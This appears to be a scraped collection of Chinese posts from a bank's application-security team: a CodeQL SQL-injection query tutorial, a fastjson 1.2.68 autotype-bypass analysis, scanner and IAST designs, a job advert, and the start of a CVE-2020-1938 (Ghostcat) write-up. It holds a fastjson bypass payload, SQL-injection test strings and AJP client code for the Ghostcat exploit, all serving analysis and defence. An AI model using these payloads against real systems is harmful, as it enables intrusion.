class QueryInjectionFlowConfig extends TaintTracking::Configuration {//定义配置 this可以随意写  QueryInjectionFlowConfig() { this = "SqlInjectionLib::QueryInjectionFlowConfig" }//定义source的来源，这里是来自RemoteFlowSource，这是一个官方写的class，较为全面的定义了远程可控的来源，但是还是有一些问题。我做了一些补充，以后会提及  override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }//QueryInjectionSink定义了sink的约束条件  override predicate isSink(DataFlow::Node sink) { sink instanceof QueryInjectionSink }//过滤条件，这里对node中的数据类型做了判断，如果是一些int long之类的数据类型就会抛弃不会进入数据流判断，这也是CodeQL较为准确的识别SQL注入的原因之一。  override predicate isSanitizer(DataFlow::Node node) {    node.getType() instanceof PrimitiveType or    node.getType() instanceof BoxedType or    node.getType() instanceof NumberType  }}

这里的3个方法，isSource,isSink,isSanitizer，其中前面2个方法是必须要的，最后一个方法是用来设置过滤条件，还有一些可选的方法比如additonalstepxx等。

isSource是来源于RemoteFlowSource，这也是CodeQL解决SQL注入的强大的地方，这个是官方写的一个类，这个类覆盖了大部分的用户可控的来源，比如getParameter().getHost()等，甚至覆盖了Socket来源的，这也使得扫描出远程方法调用的反序列化情况变得更容易，再也不需要一行行靠经验来代码审计了。

然后接下来我们定义个谓词，也就是刚才上文说的queryTaintedBy方法(谓词)，我们这样写

predicate queryTaintedBy(  QueryInjectionSink query, DataFlow::PathNode source, DataFlow::PathNode sink) {  exists(QueryInjectionFlowConfig conf | conf.hasFlowPath(source, sink) and sink.getNode() = query)}

在这里，我们就可以实现一个查询了，其中conf变量就是用来定义查询配置的，然后使用conf配置去执行查询，也就是hasFlowPath方法。

在这个例子中，还有一个条件sink.getNode()=query，这里的query是一个QueryInjectionSink类型的。这个QueryInjectionSink类型要深入讲解的话大家要去看源代码了，SQL注入的一大部分重点就是在这个QueryInjectionSink类型上，他定义了很多sink的内容，实现了CodeQL对数据库查询的的覆盖。例如jdbc, hibernate等常见的方法，但是sink覆盖的不是很多，这个地方只能手动去加，官方留有余地的只写了3个(我的意思就是这个地方需要)，不过可以覆盖大部分的情况(这就给漏报提供了空间)。

string methodIsPostOrGet(DataFlow::PathNode source){    if source.getNode().asParameter().getAnAnnotation().toString().regexpMatch("RequestParam")    then result = "get"    else result = "post"   }

这是一个带返回结果的谓词，我们要定义它的类型。其中result是CodeQL自带的一个变量，用来返回这个方法的结果。

from QueryInjectionSink query, DataFlow::PathNode source, DataFlow::PathNode sink where queryTaintedBy(query, source, sink)selectquery, "接口地址:",//获得source的注解的值，Spring中为接口地址source    .getNode()    .asParameter()    .getCallable()    .getAnAnnotation()    .getValue("value"),"接口参数:",//获得接口的参数名source    .getNode()    .asParameter()    .getAnAnnotation().getValue("value"),//获得sink所在的文件位置"文件地址:",sink.getNode().asExpr().getLocation(),//获得source节点的路径的http方法"请求类型:",methodIsPostOrGet(sink),"注解内容为:",//获得注解source.getNode().asParameter().getAnAnnotation().toString()

最后实现结果如下

至此，我们大概的实现了一个简单的数据流的元数据提取，我们拿到了几个重要的数据：接口路径，接口参数，方法类型，是否有sink，文件路径。

例如

POST http/1.1header:xxxxx
Username=xsser’ and 1=1

抑或是

GET /url/from/Spring?username=xsser%27 and 1=1 http/1.1hederxxxxxxx

当然，有了基础数据，怎么利用就是天马行空的另一个排列组合的思考范畴了，例如你可以弥补一些iast无法定位到来源参数的困难，或者是sink上的不足，或者是无法建立数据流的关联性，比如数据安全中强调的数据生命周期。对于静态代码来说这个比较难追踪或者建立对应的联系，大部分收集到的数据是非关系型数据，但是通过CodeQL这样去实现，我们不仅可以实现代码漏洞的挖掘，顺便可以把资产的元数据提取工作也做了，这些元数据又可以在提供给数据安全的同时用来关联数据的对应关系。

在存量较大的情况，我们可以实现SQL语句的字段对应到controller和参数，当你深入了解了CodeQL，你会发现我说的这些仅仅是冰山一角。

                           抽象类探究

首先这个规则的主体是：

首先它是一个静态类，作者抽象了PathCommon.qll库，在这个库里我们可以看到这个方法的原型(Construtor)，我把它抽象下结构如下：

abstract class PathCreation extends Expr {  abstract Expr getInput();}
class PathsGet extends PathCreation, MethodAccess {  PathsGet() {    …  }
  override Expr getInput() { result = this.getAnArgument() }}
class FileSystemGetPath extends PathCreation, MethodAccess {  FileSystemGetPath() {    …  }
  override Expr getInput() { result = this.getAnArgument() }}
class FileCreation extends PathCreation, ClassInstanceExpr {  FileCreation() { …}
  override Expr getInput() {    result = this.getAnArgument() and    // Relevant arguments include those that are not a `File`.    not result.getType() instanceof TypeFile  }}
class FileWriterCreation extends PathCreation, ClassInstanceExpr {  FileWriterCreation() { this.getConstructedType().getQualifiedName() = "java.io.FileWriter" }
  override Expr getInput() {    result = this.getAnArgument() and    // Relevant arguments are those of type `String`.    result.getType() instanceof TypeString  }}
predicate inWeakCheck(Expr e) {  none()}
// Ignore cases where the variable has been checked somehow,// but allow some particularly obviously bad cases.predicate guarded(VarAccess e) {  none()  )}

聪明的你可以发现，下面的子类都是继承于PathCreation类，并且重写了一个getInput方法，这个方法我们可以看到都带有result关键词，并且是一个带类型的返回型谓词。根据官方文档的说明，带result就会把符合条件的集合返回。而且可以看到，返回的谓词中大部分都有this.getAnArgument，这个意思就是返回满足上面的参数集合，他们有一个共性，都extends 了PathCreation类。那时候我就好奇了，这个类全文却没地方调用过，或者实例化。

这是PathGet

这是FileCreation

到此，我们可以得出一个结论: CodeQL对抽象类的查询会筛选出所有满足子类条件的结果集合，而至于需不需要返回，这个就需要你自己去手动定义个谓词来返回。

到这里我相信你就可以去了解一些必须要理解的类，比如RemoteFlowSource类，这对编写插件如何更好的排版代码编写规则逻辑也很有帮助！

下面是PathsCommon的主体的注释，希望能帮你理解

abstract class PathCreation extends Expr {    abstract Expr getInput();  }    class PathsGet extends PathCreation, MethodAccess {    // 寻找`java.nio.file.Paths`类下的get方法    PathsGet() {      exists(Method m | m = this.getMethod() |        m.getDeclaringType() instanceof TypePaths and        m.getName() = "get"      )    }    // 返回这个方法的集合    override Expr getInput() { result = this.getAnArgument() }  }    class FileSystemGetPath extends PathCreation, MethodAccess {    // 寻找`java.nio.file.FileSystem`类下的getPath方法并通过getInput方法返回这个集合    FileSystemGetPath() {      exists(Method m | m = this.getMethod() |        m.getDeclaringType() instanceof TypeFileSystem and        m.getName() = "getPath"      )    }      override Expr getInput() { result = this.getAnArgument() }  }    class FileCreation extends PathCreation, ClassInstanceExpr {    //   限定实例化的对象的原型在`java.io.File`类下    // 例如new xxx()  这个xxx必须在`java.io.File`下    FileCreation() { this.getConstructedType() instanceof TypeFile }      override Expr getInput() {        // 获得上述实例化的class的参数，并且这个参数的类型必须是file类型的，并返回满足and条件的参数集合      result = this.getAnArgument() and      // Relevant arguments include those that are not a `File`.      not result.getType() instanceof TypeFile    }  }    class FileWriterCreation extends PathCreation, ClassInstanceExpr {    //   限定在`java.io.FileWriter`类下    FileWriterCreation() { this.getConstructedType().getQualifiedName() = "java.io.FileWriter" }    // 返回参数类型是String类型的参数    override Expr getInput() {      result = this.getAnArgument() and      // Relevant arguments are those of type `String`.      result.getType() instanceof TypeString    }  }    predicate inWeakCheck(Expr e) {    // None of these are sufficient to guarantee that a string is safe.    // 约束一个类下的方法如果是startswith等方法，注意这里的方法是原生的，这里建议扩大覆盖范围，使用matches去匹配类似的方法名    exists(MethodAccess m, Method def | m.getQualifier() = e and m.getMethod() = def |      def.getName() = "startsWith" or      def.getName() = "endsWith" or      def.getName() = "isEmpty" or      def.getName() = "equals"    )    or    // Checking against `null` has no bearing on path traversal.    exists(EqualityTest b | b.getAnOperand() = e | b.getAnOperand() instanceof NullLiteral)  }    // Ignore cases where the variable has been checked somehow,  // but allow some particularly obviously bad cases.  predicate guarded(VarAccess e) {    //   一个参数必须存在于上面抽象类返回结果的集合中且条件分支为True的情况下的方法，还要不是StartsWith等方法    exists(PathCreation p | e = p.getInput()) and    exists(ConditionBlock cb, Expr c |      cb.getCondition().getAChildExpr*() = c and      c = e.getVariable().getAnAccess() and      cb.controls(e.getBasicBlock(), true) and      // Disallow a few obviously bad checks.      not inWeakCheck(c)    )  }

喜欢请点关注👇

阅读原文

跳转微信打开

fastjson 68版本前一阵子有些闹得沸沸扬扬的，今天看到fastjson代码已经跟进到71版本了，所以对68和69版本的代码做了一下比对，看了一下修复代码，这里对68版本fastjson的RCE漏洞做一下原理以及利用场景的分析。

author：平安银行应用安全团队@Glassy

fastjson的漏洞跟进的比较多的情况下，可以明白一个基本的套路就是，不管绕过怎么样的风骚，修复代码大部分都在ParserConfig类的checkAutoType里面，所以就话不多说，把68版本和69版本的ParserConfig类做个比较，看到改动还是很少的。

基本上一看可以看出是和expectClass有关，所以在函数的上上下下看了一下这个变量，可以归并一下发现的信息：

2. 当expectClassFlag为true的时候，即使fastjson的autoype为false我们也能加载期望类的实例。 

java public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)

1. JavaBeanDeserializer类的deserialze函数

2. ThrowableDeserializer类的deserialze函数

关于第二种场景，我这边5月10号就到了别的大佬的分析，有兴趣大家可以去看一下，我就不再赘述，这里着重讲第一种。（当然其实就原理而言完全是一回事。）

但是，这里一定要注意一个特别重要的问题，由于默认autotype是关着的，那么我们又怎么样去用@type来生成传给deserialze的clazz呢，下面我就先给出目前fastjson在autotype关闭的情况下能生成的clazz的范围：

1. cache mapping:48版本以前fastjson允许用户通过{"@type":"java.lang.Class","val":"com.evilClass"}的形式向mapping里面添加恶意类，这样不需要依赖autotype可以直接从cahce的mapping里获取clazz，但是48版本已经修复该问题。当然cache mapping在刚fastjson启动的时候就已经放了不少clazz，加载的时候不受autotype限制。 

所以我们需要的clazz就是要从上诉列举的三种情况里面寻找到，与此同时保证它不再黑名单里面。

OK，全部的分析已经到位，我们来汇总一下，看看poc究竟要怎么写：

1. 首先要用@type来生成一个clazz（不受autotype影响的）。从而把这个clazz传入deserialze函数的exceptClass中，要保证clazz不能为以下类。（这个是68版本的，69版本又添加了三个。）

 2. 紧跟在生成在第一个@type后面，再跟一个@type，它的value不能是黑名单里面的类，而且必须是第一个clazz的子类。

之后便能生成一个不受autotype影响的clazz，以达到利用效果。

关于漏洞的复现，为了方便起见，我就直接去拿了69版本被拉黑而68版本没被拉黑的AutoCloseable接口来构造poc了。

因为想要利用成功必须保证第二个clazz实现AutoCloseable的接口，恶意类难找，我们只聊原理，我就随便写了一个利用类。

javapackage defaultpack;
import com.alibaba.fastjson.JSON;import com.sun.rowset.JdbcRowSetImpl;import org.h2.tools.SimpleResultSet;
import java.lang.reflect.Field;
public class Person implements AutoCloseable{    private String name;    private int age;    private String gender;
    public Person() {        System.out.println("no-arg construct invoked!!!");    }
    public Person(String name, int age, String gender) {        this.name = name;        this.age = age;        this.gender = gender;    }
    public String getName() {        return name;    }
    public void setName(String name) {        this.name = name;    }
    public int getAge() {        System.out.println("getAge invoked!!!");        return age;    }
    public void setAge(int age) {        this.age = age;        System.out.println("setAge invoked!!!");    }
    public String getGender() {        return gender;    }
    public void setGender(String gender) {        this.gender = gender;    }
    @Override    public void close() throws Exception {
    }}

javaString payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"defaultpack.Person\",\"age\":\"13\"}";
JSON.parseObject(payload);

可以从上面的分析看出，虽然在原理层面上，的确存在着代码执行的风险，且绕过了autotype机制，但是这个利用受到了多方面限制：

1. 黑名单限制

2. 漏洞利用类必须拥有一个在autotype关着的情况下可以生成实例的父类（目前在68版本我已知的是Throwable和AutoCloseable）。

所以因为以上两点的限制，就可以发现利用是非常局限的，当然也不排除黑客大佬们思路广阔而笔者才疏学浅的可能性，因此我也仅在这里给出自己的看法。

阅读原文

跳转微信打开

传统的主动web扫描器面对大型企业成千上万站点的扫描需求时越来越显得捉襟见肘，被动扫描成为各个大厂扫描器的自研之路方向。为实现全行应用上线的自动化安全扫描，平安银行应用安全团队内部研发了命名为“ Hydra”的被动扫描平台。

0x01.架构设计

0x02.数据源

• 测试区核心交换机
• 自动化测试平台（接口自动化测试平台）
• Hydra插件　
• 代理服务器

1. 从交换机接过来的流量为全协议的流量，需要先将三层协议的流量解析到七层，这里我们使用的是Zeek , Zeek是一个开源的网络流量分析工具，支持解析多种协议（包括DNS，FTP，HTTP，IRC，SMTP，SSH，SSL等）。详细介绍可参考官网文档Zeek Doc; (也可围观团队另外一位小伙伴写的Zeek食用指南《流量分析的瑞士军刀Zeek》，文章记录我们使用Zeek中一些经验与踩过的坑。) Zeek 解析流量后生成http.log 日志文件，然后使用 Filebeat读取 Zeek日志并发送到Logstash，使用 LogStash 初步过滤一些静态文件，例如img、png、docx 等。然后再组装成约定的 json格式发送到 Kafka;
2. Hydra第二大流量来源是自动化接口测试平台，其产生的测试流量经由消息网关传送到 Kafka;
3. 针对其它场景，我们开发 chrome插件和 Burp插件，插件支持一些简单的文件，域名过滤。
   Burp插件：
   
   Chrome插件：
   
   Burp插件主要是针对一些chrome插件不能使用场景的一个补充，如部分业务系统只能运行在IE浏览器中、app等，但这个插件对一般的功能测试人员门槛有点高。此插件也可作为内部安全同事测试时的一个补充。
4. 代理服务器基于 MITMProxy 开发，客户端需要安装服务器证书以解密流量。

{
    "url": "http://testasp.vulnweb.com/showthread.asp?id=0",
    "headers": {
        "Host": "testasp.vulnweb.com",
        "Connection": "keep-alive",
        "Cache-Control": "max-age=0",
        "DNT": "1",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "ASPSESSIONIDQQBRQABB=FDKAKDNCHPAKFGGIMLNLFBLB"
    },
    "host": "testasp.vulnweb.com",
    "method": "GET",
    "source": "xxxx",
    "postdata": "",
    "t": 1565079259
}

0x03. 数据解析

/   path/202cb962ac59075b964b07152d234b70
/   path/c8ffe9a587b126f152ed3d89a146b445

/   path/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/   path/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

去重之后便需要对报文去脏，对于一些带有明显扫描攻击的payload的报文，我们需要将其剔除，这一类流量主要来自内网的其它扫描器等。

能进入到此步骤的便是我们需要扫描的报文了，为了方便各个插件的编写，我们需要将字符串的报文解析为对象，对于 post body ，因为格式太多，有json、key value、xml、multipart等难以满足一个统一的数据结构，当初一直在研究如何设计数据结构方便处理，后来看了下sqlmap 的源码，觉得其设计得较合理，便借鉴过来了。对于url中的参数处理则简单许多，直接将key与value拆分存放到 dict即可。如我们拿到一个报文：{"url":"http://site.com/?get_key1=value1&get_key2=value2&get_key3=value3","postdata":"a2V5MT12YWx1ZTEma2V5Mj12YWx1ZTIma2V5Mz12YWx1ZTM="}解析完成后数据结构如下：

{
    'GET': OrderedDict([('get_key1', 'value1'), ('get_key2', 'value2'), ('get_key3', 'value3')]),
    'POST': OrderedDict([
        ('key1', 'key1=value1__PAYLOAD_MARKER_PAYLOAD__&key2=value2&key3=value3'), 
        ('key2', 'key1=value1&key2=value2__PAYLOAD_MARKER_PAYLOAD__&key3=value3'), 
        ('key3', 'key1=value1&key2=value2&key3=value3__PAYLOAD_MARKER_PAYLOAD__')
   ])
}

0x04. 插件

class BaseMod(object):
    name = VulnName.BaseMod
    author = "xxx"
    vulType = vulType.Web
    level = Level.NONE
    references = None
    desc = None
    modType = ModType.PerScheme

    def __init__(self):
      """
      """
        self._request: Request = None
        self._vectors = None
        self._response = None
        self._vulnParams = ""

    def verify(self):
        """
        :return: return None if not vulnerable, else return a Output object
        """
        raise NotImplementedError("plugin must overwrite this method.")

新增一个扫描插件时，新增一个类继承自 BaseMod, 填写必要的信息，并重写 verify方法实现扫描逻辑，发现漏洞时，返回 Output的实例对象，由扫描引擎持久化漏洞数据。

sqliopts = 
{
    "url": url,
    "data": postdata,
    "method": method,
    "answers": "crack=N,dict=N",
    "cookie": cookie,
    "headers": header,
    "risk": 1,
    "level": 1,
    "agent": UA,
    "threads": 3,
    "timeout": TIMEOUT,
    "forceSSL": force_https,
    "flushSession": True,
    "proxy": proxy,
    "batch": True
}  

对于sqlmap ，因其会发送大量的payload，所以不可避免的在会在测试环境插入大量脏数据，影响测试过程。在银行大量资金交易应用的场景下，影响较大，在项目初期，因未做好控制，被投诉好几次。对于黑盒扫描，脏数据一定是无法避免的，我们能做的就是尽量少产生脏数据。对于完全不能扫描的业务系统， 使用黑名单屏蔽；对于其它的业务系统则采用授权扫描方式，并将扫描嵌入到sdlc中提高扫描覆盖率。业务在冒烟测试通过后的某个节点时间须手动触发扫描，授权完成后拉取记录的流量执行扫描，扫描平台自动生成扫描报告，如果没有扫描报告，安全卡点系统则拒绝其上线; 对于其它无版本的系统，则只扫描get请求，尽可能少产生脏数据。

0x05. 应用

0x06. 总结

阅读原文

跳转微信打开

这里分享我们实践的一个新思路，能有效达到IAST/RASP快速部署的目的。

0×01挑战

要实现大规模部署，我行几千应用系统、几万服务器的适配、测试、部署、维护…这推广、维护工作太重。

虽然在c0debreak大佬团队的努力下，rasp agent对服务器的性能影响已可控制到3%左右。但在银行交易系统中，我们也不敢轻易“玩火”，只能将目标锁定在后管类系统上。

0×02 一个不成熟的想法

0×03 技术实现

1.此类APM平台，基本上都有SQL性能分析，所以基本上都可以提供原生SQL数据，这是现成的。而其他漏洞可能还需要增加埋点。

2.去年我们团队搞了大半年的被动扫描器，由于SQL注入黑盒测试造成大量脏数据，以及准确率等问题，一直比较头疼。正好借此机会来优化一下。

{"appid":"xxxx","ip":"192.168.1.100","source":"URL:/xxx/abc/custInfo.do","sql":"select * from t_user where username = ?"}

由于依赖于CAT，我们的项目代号为BlackCAT（黑猫警长）。上图中，被动扫描器只在主动式IAST场景下的充当无脑发包器，对抓的所有流量进行全量标记盲打，与BlackCAT分析引擎无需联动。有溯源必要时，可在request中加一些特征标识，如在url后或header中追加BlackCAT参数，通过catlog同步通知BlackCAT即可。

预编译：

select * from t_user where username = ？

拼接：

select * from t_user where username = “helen”

0×04 检测逻辑

POST /xxx/abc/custInfo.do HTTP/1.1
Host: 192.168.1.100:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
Accept: */*
Referer: http://192.168.1.100/admin
Accept-Language: zh-CN,zh;q=0.9
Cookie: token=123456789
username=helenMarkedbyscanner

select * from t_user where username = "helenMarkedbyscanner"

1.通过黑名单规则检索sql中的可疑的payload，这点参考WAF策略。相较于WAF，好在如果发现有payload进入sql，那就存在漏洞且攻击成功。但由于都是维护黑名单规则，即可能存在误报漏报。

2.统计在sql中检索单引号数量，判断总数是否为奇数引号。一般如出现奇数引号，可能为人为注入测试，可判断有潜在攻击者，且已发现漏洞。

0×05 效果

https://github.com/baidu/openrasp

阅读原文

跳转微信打开

加入平安银行，“橙”就不一样！

平安银行股份有限公司（英文：PING AN BANK CO.,LTD.；简称平安银行），是一家总部位于广东省深圳市的全国性股份制商业银行，是中国平安集团旗下子公司，同时也是平安集团三大业务支柱之一。其前身深圳发展银行是中国内地首家公开上市的全国性股份制银行。截至2019年6月末，在职员工33,529人，通过全国84家分行、1,053家营业机构为客户提供多种金融服务。

✎✎✎

在处于零售转型的高速发展时期，平安银行践行科技赋能，并更加重视信息安全的发展与建设。平安银行应用安全团队致力于保障行内应用安全，共建金融行业的应用安全生态环境。

这是一个牛人辈出且有爱的团队，一个够大且发展快速的平台，同时还有一份还不错的薪水！

期待热爱互联网、热爱安全，同时在安全领域有一技之长的你！

资深安全开发工程师(Python或Java方向)

岗位职责：

1.负责各类安全工具平台、安全产品的建设研发，包括流量处理、RASP、 DAST、 SAST 等各类安全工具平台的建设研发；

2.负责建设支撑SDLC流程节点的各类工具平台，落实全行应用安全治理上相关的要求及检查机制的自动化闭环；

3.推动研发流程及相关基础技术架构的持续优化完善。

岗位要求:

1.扎实的编程基础、精通Java、 Python开发语言， 熟悉JVM、Kafka、 ELK、 Spark、 分布式等核心技术；

2.熟悉软件开发生命周期(SDLC)，熟悉业内主流的安全机制、安全解决方案、安全体系优先；

3.有相关的安全工具平台开发经验，包括不限于动态、静态等各类漏洞检测、流量处理、资产采集等经验；

4.熟练掌握主流开发框架，如Spring、 MyBatis, 熟悉高可用、高性能优化方案；

5.思路清晰、较好的沟通能力与技术学习能力，有强烈责任心及团队意识；

6.本科以上、3年以上互联网公司经历优先。

数据安全治理专家

岗位职责:

1. 发现数据安全生命周期各环节面临的安全风险，并制定相关的风险管控方案，建设数据安全保护平台形成对数据全生命周期的保护；

2.辅助数据治理的相关方推动复杂数据治理行动，推动数据治理相关方案的工具化、线上化，从而保证银行数据数据互通方面的效率和安全性；

3.结合监管及银行安全合规要求，形成系统化的平台来实现风险控制及监控，包括不限于自动化加密、脱敏引擎，敏感数据识别分级打标引擎的落地及优化；

4.通过算法和权限管控结合现有银行数据输入输出的业务需求，对输入输出的数据进行安全合规的审计及智能化的审批，提升数据交互时的安全管控及效率:

5.在国家标准及行业标准的基础上提升，保障业务的前提下，全面提高银行在数据安全方面的能力。

岗位要求:

 1.有数据安全风险治理的专项工作经验(数据脱敏、数据加密、api 治理、数据资产地图、隐私保护) ;

2.熟悉各种常见通用加密算法(AES、RSA、 SHA以及国密等)，以及隐私保护算法(K-匿名、差分隐私、L-多样性)，掌握相关安全通信协议、熟悉签名认证；

3.掌握数据安全和隐私保护方面的安全技术，对国家相关法律法规及行业标准有深入理解；

4.了解大数据业务建模、数据仓库建模、元数据、数据血缘及其实现方法有全局化的数据架构能力相关经验更佳；

5.熟悉常用关系型数据库或非关系型数据库以及常见搜索系统；

6.掌握python/java/go等至少一门编程语言;

7.在风险识别、分析、研判、管控方面有深入的理解，有良好的业务感知和理解能力；

8.工作态度严谨，风险意识强，有较强的独立分析及解决问题的能力，良好的表达沟通能力， 敢于挑战、勇于创新；

9.工作经验：5年以上安全行业工作经验(数据安全、应用安全、信息安全、安全运营)，有金融行业工作背景优先；

10.学历：本科及以上。

工作地点：上海

简历投至邮箱：peiling757@pingan.com.cn

如有疑问，可联系小编咨询

（微信：pl1147662621）

“

未来，我行将继续积极响应国家战略，顺应国际国内经济金融形势，遵循新的“3+2+1”经营策略，持续提升实体经济服务能力，坚守不发生系统性金融风险的底线，全面推进AI Bank体系建设，向着“中国最卓越、全球领先的智能化零售银行”的目标不断迈进。

”

阅读原文

跳转微信打开

最近CVE-2020-1938炒的比较热闹，前几天比较忙，今天抽空跟了一下这个漏洞，时间线上肯定比别的大佬晚很多了，所以就选择从环境搭建开始写的详细一点，对这个漏洞多少还有一些困惑的同学可以赏脸看上两眼吧。

**author:Glassy@平安银行应用安全团队**

环境搭建

这里使用的是tomcat8.0.52的测试环境，因为tomcat默认开启AJP协议，所以我们这边只需要配置好tomcat的远程debug环境就行。

1、找到catalina.sh去定义一下远程调试端口，我这里就使用了默认的5005端口。

``` sh  if [ -z "$JPDA_ADDRESS" ]; then    JPDA_ADDRESS="localhost:5005"  fi```

2、以调试模式开启tomcat，这里不推荐直接改动tomcat的默认启动模式，否则以后都会默认开启调试模式，因此推荐直接以调试模式开启tomcat。

``` shsh catalina.sh jpda start```

3、在idea的lib里导入tomcat的jar包，tomcat的jar都放在lib目录下，直接把lib都导进来就行。

接下来在idea里开启tomcat的远程调试环境就部署完成。

AJP（Apache JServ Protocol）是定向包协议。它的功能其实和HTTP协议相似，区别在于AJP协议使用的是二进制格式传输文本，走的是TCP协议来SERVLET容器进行通信，因此漏洞的利用就需要依赖于一个客户端，而不能依赖于浏览器或是HTTP的抓包工具。

因为是java的漏洞，因此但从网上的py的poc很难看出AJP协议相关的很多东西，所以这里我们再去看一下用于发送AJP消息的java的客户端代码。客户端代码引自[0nise的GitHub](https://github.com/0nise/CVE-2020-1938)。

``` javafile:TesterAjpMessage.java
package com.glassy.utility;
import java.util.ArrayList;import java.util.LinkedHashMap;import java.util.List;import java.util.Map;import java.util.Map.Entry;import org.apache.coyote.ajp.AjpMessage;import org.apache.coyote.ajp.Constants;import org.apache.juli.logging.Log;import org.apache.juli.logging.LogFactory;
public class TesterAjpMessage extends AjpMessage {    private final Map<String, String> attribute = new LinkedHashMap();    private final List<Header> headers = new ArrayList();    private static final Log log = LogFactory.getLog(AjpMessage.class);
    private static class Header {        private final int code;        private final String name;        private final String value;
        public Header(int code, String value) {            this.code = code;            this.name = null;            this.value = value;        }
        public Header(String name, String value) {            this.code = 0;            this.name = name;            this.value = value;        }
        public void append(TesterAjpMessage message) {            if (this.code == 0) {                message.appendString(this.name);            } else {                message.appendInt(this.code);            }            message.appendString(this.value);        }    }
    public TesterAjpMessage(int packetSize) {        super(packetSize);    }
    public byte[] raw() {        return this.buf;    }
    public void appendString(String str) {        if (str == null) {            log.error(sm.getString("ajpmessage.null"), new NullPointerException());            this.appendInt(0);            this.appendByte(0);        } else {            int len = str.length();            this.appendInt(len);
            for(int i = 0; i < len; ++i) {                char c = str.charAt(i);                if (c <= 31 && c != '\t' || c == 127 || c > 255) {                    c = ' ';                }
                this.appendByte(c);            }
            this.appendByte(0);        }    }
    public byte readByte() {        byte[] bArr = this.buf;        int i = this.pos;        this.pos = i + 1;        return bArr[i];    }
    public int readInt() {        byte[] bArr = this.buf;        int i = this.pos;        this.pos = i + 1;        int val = (bArr[i] & 255) << 8;        bArr = this.buf;        i = this.pos;        this.pos = i + 1;        return val + (bArr[i] & 255);    }
    public String readString() {        return readString(readInt());    }
    public String readString(int len) {        StringBuilder buffer = new StringBuilder(len);        for (int i = 0; i < len; i++) {            byte[] bArr = this.buf;            int i2 = this.pos;            this.pos = i2 + 1;            buffer.append((char) bArr[i2]);        }        readByte();        return buffer.toString();    }
    public String readHeaderName() {        byte b = readByte();        if ((b & 255) == 160) {            return Constants.getResponseHeaderForCode(readByte());        }        return readString(((b & 255) << 8) + (getByte() & 255));    }
    public void addHeader(int code, String value) {        this.headers.add(new Header(code, value));    }
    public void addHeader(String name, String value) {        this.headers.add(new Header(name, value));    }
    public void addAttribute(String name, String value) {        this.attribute.put(name, value);    }
    public void end() {        appendInt(this.headers.size());        for (Header header : this.headers) {            header.append(this);        }        for (Entry<String, String> entry : this.attribute.entrySet()) {            appendByte(10);            appendString((String) entry.getKey());            appendString((String) entry.getValue());        }        appendByte(255);        this.len = this.pos;        int dLen = this.len - 4;        this.buf[0] = (byte) 18;        this.buf[1] = (byte) 52;        this.buf[2] = (byte) ((dLen >>> 8) & 255);        this.buf[3] = (byte) (dLen & 255);    }
    public void reset() {        super.reset();        this.headers.clear();    }}
```

这个TesterAjpMessage.java文件就是一个tomcat本身用来处理AJP协议信息的AjpMessage类的子类，因为AjpMessage只支持发送bytes信息的缘故，代码丰富了TesterAjpMessage子类，使我们在构造客户端的时候支持appendString以及对Header的相关操作，更加方便。

``` javafile:SimpleAjpClient.java
import java.io.IOException;import java.io.InputStream;import java.net.Socket;import java.util.Arrays;import javax.net.SocketFactory;
public class SimpleAjpClient {    private static final byte[] AJP_CPING;    private static final int AJP_PACKET_SIZE = 8192;    private String host = "localhost";    private int port = -1;    private Socket socket = null;
    static {        TesterAjpMessage ajpCping = new TesterAjpMessage(16);        ajpCping.reset();        ajpCping.appendByte(10);        ajpCping.end();        AJP_CPING = new byte[ajpCping.getLen()];        System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0, ajpCping.getLen());    }
    public int getPort() {        return this.port;    }
    public void connect(String host, int port) throws IOException {        this.host = host;        this.port = port;        this.socket = SocketFactory.getDefault().createSocket(host, port);    }
    public void disconnect() throws IOException {        this.socket.close();        this.socket = null;    }
    public TesterAjpMessage createForwardMessage(String url) {        return createForwardMessage(url, 2);    }
    public TesterAjpMessage createForwardMessage(String url, int method) {        TesterAjpMessage message = new TesterAjpMessage(8192);        message.reset();        message.getBuffer()[0] = (byte) 18;        message.getBuffer()[1] = (byte) 52;        message.appendByte(2);        message.appendByte(method);        message.appendString("http");        message.appendString(url);        message.appendString("10.0.0.1");        message.appendString("client.dev.local");        message.appendString(this.host);        message.appendInt(this.port);        message.appendByte(0);        return message;    }
    public TesterAjpMessage createBodyMessage(byte[] data) {        TesterAjpMessage message = new TesterAjpMessage(8192);        message.reset();        message.getBuffer()[0] = (byte) 18;        message.getBuffer()[1] = (byte) 52;        message.appendBytes(data, 0, data.length);        message.end();        return message;    }
    public void sendMessage(TesterAjpMessage headers) throws IOException {        sendMessage(headers, null);    }
    public void sendMessage(TesterAjpMessage headers, TesterAjpMessage body) throws IOException {        this.socket.getOutputStream().write(headers.getBuffer(), 0, headers.getLen());        if (body != null) {            this.socket.getOutputStream().write(body.getBuffer(), 0, body.getLen());        }    }
    public byte[] readMessage() throws IOException {        InputStream is = this.socket.getInputStream();        TesterAjpMessage message = new TesterAjpMessage(8192);        byte[] buf = message.getBuffer();        int headerLength = message.getHeaderLength();        read(is, buf, 0, headerLength);        int messageLength = message.processHeader(false);        if (messageLength < 0) {            throw new IOException("Invalid AJP message length");        } else if (messageLength == 0) {            return null;        } else {            if (messageLength > buf.length) {                throw new IllegalArgumentException("Message too long [" + Integer.valueOf(messageLength) + "] for buffer length [" + Integer.valueOf(buf.length) + "]");            }            read(is, buf, headerLength, messageLength);            return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength);        }    }
    protected boolean read(InputStream is, byte[] buf, int pos, int n) throws IOException {        int read = 0;        while (read < n) {            int res = is.read(buf, read + pos, n - read);            if (res > 0) {                read += res;            } else {                throw new IOException("Read failed");            }        }        return true;    }}
```

